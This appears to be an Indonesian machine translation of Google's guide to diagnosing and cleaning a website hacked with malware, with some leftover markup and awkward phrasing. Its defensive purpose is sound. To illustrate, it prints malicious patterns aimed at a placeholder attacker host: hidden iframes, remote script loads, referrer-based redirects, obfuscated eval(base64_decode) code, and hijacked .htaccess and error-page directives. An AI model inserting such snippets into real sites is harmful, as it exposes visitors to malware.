{i>Malware<i} adalah perangkat lunak atau aplikasi seluler yang dirancang khusus untuk merusak komputer, perangkat seluler, perangkat lunak yang dijalankannya, atau penggunanya. Untuk informasi selengkapnya tentang apa yang dimaksud dengan malware, lihat Malware dan software yang tidak diinginkan.
Jika situs Anda berisi malware, pengguna biasanya akan melihat peringatan "Situs ini mungkin berbahaya bagi komputer Anda" yang ditampilkan di hasil penelusuran atau di halaman interstisial yang ditampilkan oleh browser saat pengguna mencoba mengunjungi , kira-kira seperti ini:
![Halaman interstisial malware representatif](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=1&hl=id)
Anda akan memerlukan hal berikut:
- Akses administrator {i>shell<i} atau terminal ke server situs Anda: web, {i>database<i}, dan file.
- Mengetahui perintah {i>shell<i} atau terminal.
- Kemampuan untuk menjalankan kueri SQL pada database.
Persiapan
- Mendaftar ke Search Console dan verifikasi kepemilikan situs Anda yang diretas, seperti yang dijelaskan di sana. Search Console menyediakan contoh halaman yang terpengaruh, yang membuat penemuan dan memperbaiki masalah diretas-dengan-{i>malware<i} menjadi jauh lebih mudah. Selain itu, Anda akan diperingatkan saat situs Anda terdeteksi terpengaruh oleh berbagai jenis malware atau peretasan lainnya.
Lihat halaman diagnostik Google Safe Browsing untuk melihat informasi publik tentang apakah suatu situs berpotensi berbahaya bagi pengguna atau tidak. Anda dapat melihat status listingan untuk halaman atau situs Anda di URL yang mirip dengan URL ini:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Contoh:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
dapat berupa URL halaman tertentu (http://example.com/badpage
) atau seluruh situs Anda (example.com).Jangan menggunakan browser untuk melihat halaman di situs Anda. Karena {i>malware<i} sering menyebar dengan mengeksploitasi kerentanan {i>browser<i}, membuka {i>malware<i} yang terinfeksi di browser dapat merusak komputer Anda. Kecuali jika petunjuk diagnosis misalnya mengakses halaman langsung di browser, gunakan cURL atau Wget untuk menjalankan permintaan HTTP (misalnya, untuk mengambil halaman).
Alat yang tersedia gratis ini sangat membantu dalam mendiagnosis pengalihan, dan memiliki fleksibilitas untuk memasukkan informasi perujuk atau agen pengguna. Menyertakan perujuk atau agen pengguna tertentu sangat membantu untuk meniru peretas, karena peretas mungkin hanya menyajikan konten berbahaya kepada pengguna dengan agen pengguna atau perujuk untuk menargetkan "orang nyata" yang lebih banyak dan hindari deteksi dari pemilik situs dan pemindai {i>malware<i}.
`curl -v --referer "http://www.google.com" <your-url>`
Berikut adalah contoh yang menentukan agen pengguna dan perujuk:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Sebaiknya ambil halaman dengan dan tanpa
--referer "https://www.google.com"
, karena beberapa malware hanya diaktifkan
saat pengguna datang dari hasil Google Penelusuran.
Buat dokumen untuk mencatat penemuan dari langkah ini. Dokumen ini akan pada akhirnya menyertakan (minimal) nama dan lokasi setiap file yang rusak dan catatan tentang bagaimana komputer itu terinfeksi, dan akan berfungsi sebagai dasar untuk Bersihkan dan pelihara situs Anda.
Tonton video sebelumnya di halaman ini untuk melihat cara kerja malware dan cara Anda tetap aman selama penyelidikan {i>malware<i} Anda.
Diagnosis
Ketahui malware mana yang memengaruhi situs Anda:
- Buka laporan Masalah Keamanan untuk situs Anda di Search Console. Luaskan deskripsi peringatan malware untuk melihat daftar contoh halaman yang terpengaruh. Perlu diketahui bahwa daftar ini tidak lengkap; Anda mungkin tidak mendapatkan halaman contoh untuk semua jenis malware di situs Anda.
- Uji contoh halaman Anda untuk jenis malware berikut.
Malware konfigurasi server (pengalihan yang tidak diinginkan)
Peretas telah menyusupi situs Anda dan mengalihkan pengunjung dari situs Anda
ke situs serangan malware mereka, kemungkinan dengan memodifikasi
file konfigurasi. File konfigurasi server biasanya mengizinkan situs
administrator untuk menentukan pengalihan URL untuk laman atau direktori tertentu pada
situs Anda. Misalnya, di server Apache, ini adalah file .htaccess
serta httpd.conf
.
Diagnosis
Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan. Respons dari halaman yang terinfeksi "konfigurasi server" infeksi mungkin mencakup {i>header<i} berikut ini:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Menentukan file yang terpengaruh
Login ke server Anda melalui akses shell atau terminal (situs dapat offline
jika diinginkan) dan tinjau file konfigurasi server yang relevan. Mungkin ada lebih banyak
dari satu file konfigurasi server yang diretas di situs Anda. Periksa file ini untuk
perintah yang tidak diinginkan, seperti pengalihan ke situs yang tidak dikenal. Misalnya, di kolom
.htaccess
`, Anda mungkin melihat pengalihan yang terlihat seperti ini:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
Injeksi SQL
Peretas telah menyusupi database situs Anda. Misalnya, peretas mungkin telah memasukkan kode berbahaya secara terprogram ke dalam setiap catatan database sehingga saat server memuat halaman yang memerlukan informasi dari kode berbahaya kini tertanam di konten halaman dan dapat membahayakan pengunjung situs.
Diagnosis
- Jalankan beberapa kueri pada URL yang terpengaruh dalam command line, dan periksa Respons untuk kata-kata serangan SQL seperti "iframe" atau "eval".
Masuk ke server {i>database<i} Anda atau lihat {i>database<i} Anda melalui alat seperti phpMyAdmin. Jika Anda menggunakan Wget atau cURL, cobalah untuk menghubungkan kerusakan yang ditemukan di sumber laman kode melalui Wget atau cURL dengan entri {i>database<i} yang sebenarnya. Misalnya, jika Anda melihat halaman menyertakan iframe berbahaya, Anda dapat melakukan penelusuran untuk kode iframe. Contoh:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Anda mungkin juga ingin memeriksa log {i>database<i} dan file {i>error<i} di server Anda untuk aktivitas yang tidak biasa, seperti perintah SQL tak terduga yang tampak tidak biasa pengguna biasa atau {i>error<i}.
Memperbaiki masalah
Update setiap catatan database yang terinfeksi, atau pulihkan database terakhir Anda yang diketahui cadangan.
Injeksi kode
Halaman di situs Anda telah diubah untuk memasukkan kode berbahaya, seperti iframe untuk situs penyerang {i>malware<i}.
Diagnosis
Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan dengan cURL atau wGet dan memeriksa kode yang mencurigakan. Kode yang diinjeksikan bisa memiliki banyak jenis, dan dapat akan sulit ditemukan. Mencari kata seperti "iframe" mungkin dapat membantu untuk menemukan kode iframe. Kata kunci lain yang bermanfaat adalah "script", "eval", dan "unescape". Sebagai misalnya, untuk menelusuri "iframe" di semua file pada sistem berbasis Unix:
$grep -irn "iframe" ./ | less</pre>
Berikut adalah beberapa pola malware umum yang harus diperhatikan.
iframe yang memuat situs berbahaya:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript atau bahasa skrip lain yang memanggil dan menjalankan skrip dari situs penyerang:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Skrip yang mengalihkan browser ke situs penyerang:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Kode berbahaya yang di-obfuscate untuk menghindari deteksi:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
File objek bersama yang dirancang untuk secara acak menulis kode berbahaya yang tidak berbahaya skrip:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Template error berbahaya
Template yang digunakan untuk pesan error, seperti 404 File not Found, telah dikonfigurasi mendistribusikan {i>malware<i}. Dengan cara ini, penyerang dapat menyerang URL yang bahkan tidak ada di situs Anda.
Diagnosis
Meminta halaman di situs Anda yang tidak ada, atau yang menampilkan jenis {i>error<i}, dan memeriksa respons untuk melihat apakah berasal dari situs lain atau mengandung {i>malware<i}.
Memperbaiki masalah
Login ke server web dan telusuri file konfigurasi server untuk menemukan error
perintah halaman. Misalnya, {i>template error <i}untuk server web Apache
yang dideklarasikan dalam file .htaccess
. Berikut adalah contoh entri file .htaccess
yang
mengambil halaman error 404 dari situs berbahaya:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Jika Anda sudah siap untuk membersihkan situs, ganti .htaccess
file
dengan cadangan yang bagus, atau menghapus direktif ErrorDocument yang tidak diinginkan pada
.htaccess
file yang ada. Pastikan juga untuk membersihkan
file {i>error<i} yang sebenarnya jika
keberadaannya di situs Anda. Terakhir, mulai ulang server
web Anda untuk memastikan semua
perubahan diberlakukan.
Resource dimuat dari situs yang disusupi atau berbahaya {kompromi-resources}
Situs Anda menggunakan konten atau referensi dari situs yang diketahui berisi konten berbahaya. File ini dapat berupa file JavaScript, gambar, atau file lainnya. Karenanya, situs Anda akan ditandai karena adanya malware yang dimuat dari situs Anda.
Diagnosis
Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan.
Memperbaiki masalah
- Konfirmasikan masalah dengan menjelajahi beberapa contoh URL yang tercantum dalam Laporan Masalah Keamanan di Search Console. Anda akan melihat peringatan browser.
- Peringatan browser akan memberi tahu Anda domain konten yang dipermasalahkan. Hapus semua referensi ke situs yang ditandai yang tercantum dalam peringatan browser. Jika konten dari situs yang ditandai disertakan tanpa sepengetahuan Anda, akan menjadi lebih serius. Situs Anda kemungkinan besar telah disusupi, dan Anda harus memeriksa situs Anda untuk melihat adanya peretasan dan kerentanan lainnya.
- Jika Anda sengaja menyertakan konten dari situs sah yang menjadi
ditandai dan Anda ingin memasukkan kembali konten tersebut setelah situs yang ditandai
dibersihkan, Anda dapat memantau status situs yang ditandai menggunakan
Halaman diagnostik Google Safe Browsing
untuk situs tersebut (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}. Pemilik situs yang sah biasanya membersihkannya dengan cepat.
Penyelidikan tambahan
Selanjutnya, periksa apakah ada perubahan atau file berbahaya tambahan pada sistem Anda. Tujuan peretas mungkin telah memodifikasi laman atau catatan basis data yang ada, membuat sepenuhnya halaman berisi spam baru, fungsi tertulis yang menampilkan spam di halaman bersih, atau "pintu belakang" yang memungkinkan peretas masuk kembali ke situs Anda, atau yang kode berbahaya yang telah Anda hapus.
Jika situs Anda online, pertimbangkan untuk membuatnya offline untuk penyelidikan ini.
Jika Anda memiliki cadangan situs yang baik, tentukan file mana yang dibuat atau dimodifikasi sejak pencadangan dan penyelidikan. Pada berbasis Unix Anda dapat menggunakan perintah seperti berikut ini untuk menemukan file baru:
diff -qr <current-directory> <backup-directory>
Contoh:
diff -qr www/ backups/full-backup-20120124/
juga:
md5sum <current-page> <backup-page>
Contoh:
md5sum www/page.html backups/full-backup-20120124/page.html
Periksa server, akses, dan log error untuk menemukan aktivitas mencurigakan seperti upaya {i>login<i} yang gagal, riwayat perintah (terutama sebagai {i>root<i}), dan pembuatan akun pengguna yang tidak dikenal. Perlu diketahui bahwa peretas mungkin telah mengubah log ini untuk tujuan mereka sendiri. Beberapa contoh ditampilkan dalam video untuk Identifikasi kerentanan.
Periksa file konfigurasi untuk pengalihan. File konfigurasi Anda
biasanya bernama .htaccess
dan httpd.conf
. Peretas sering kali membuat
pengalihan berdasarkan agen pengguna, waktu, atau perujuk. Jika Anda ingin
memperbarui file konfigurasi, Anda mungkin perlu
me-restart server Anda untuk
perubahan agar diterapkan.
Periksa izin folder dan file yang terlalu longgar. Peretas mengutak-atik
izin akses karena jika izin akses
tetap tidak terdeteksi oleh pemilik situs,
peretas akan memiliki cara untuk
masuk kembali ke situs tersebut. File yang lebih besar dari
644 (rw-r--r--)
dan folder yang lebih besar dari 755 (rwxr-xr-x)
dapat menyebabkan keamanan
masalah performa. Pastikan semua izin yang lebih longgar benar-benar dibutuhkan. Aktif
sistem berbasis Unix, coba:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
dan:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Jika Anda memiliki {i>database<i}, selidiki catatan satu per satu, dengan menggunakan alat seperti phpMyAdmin.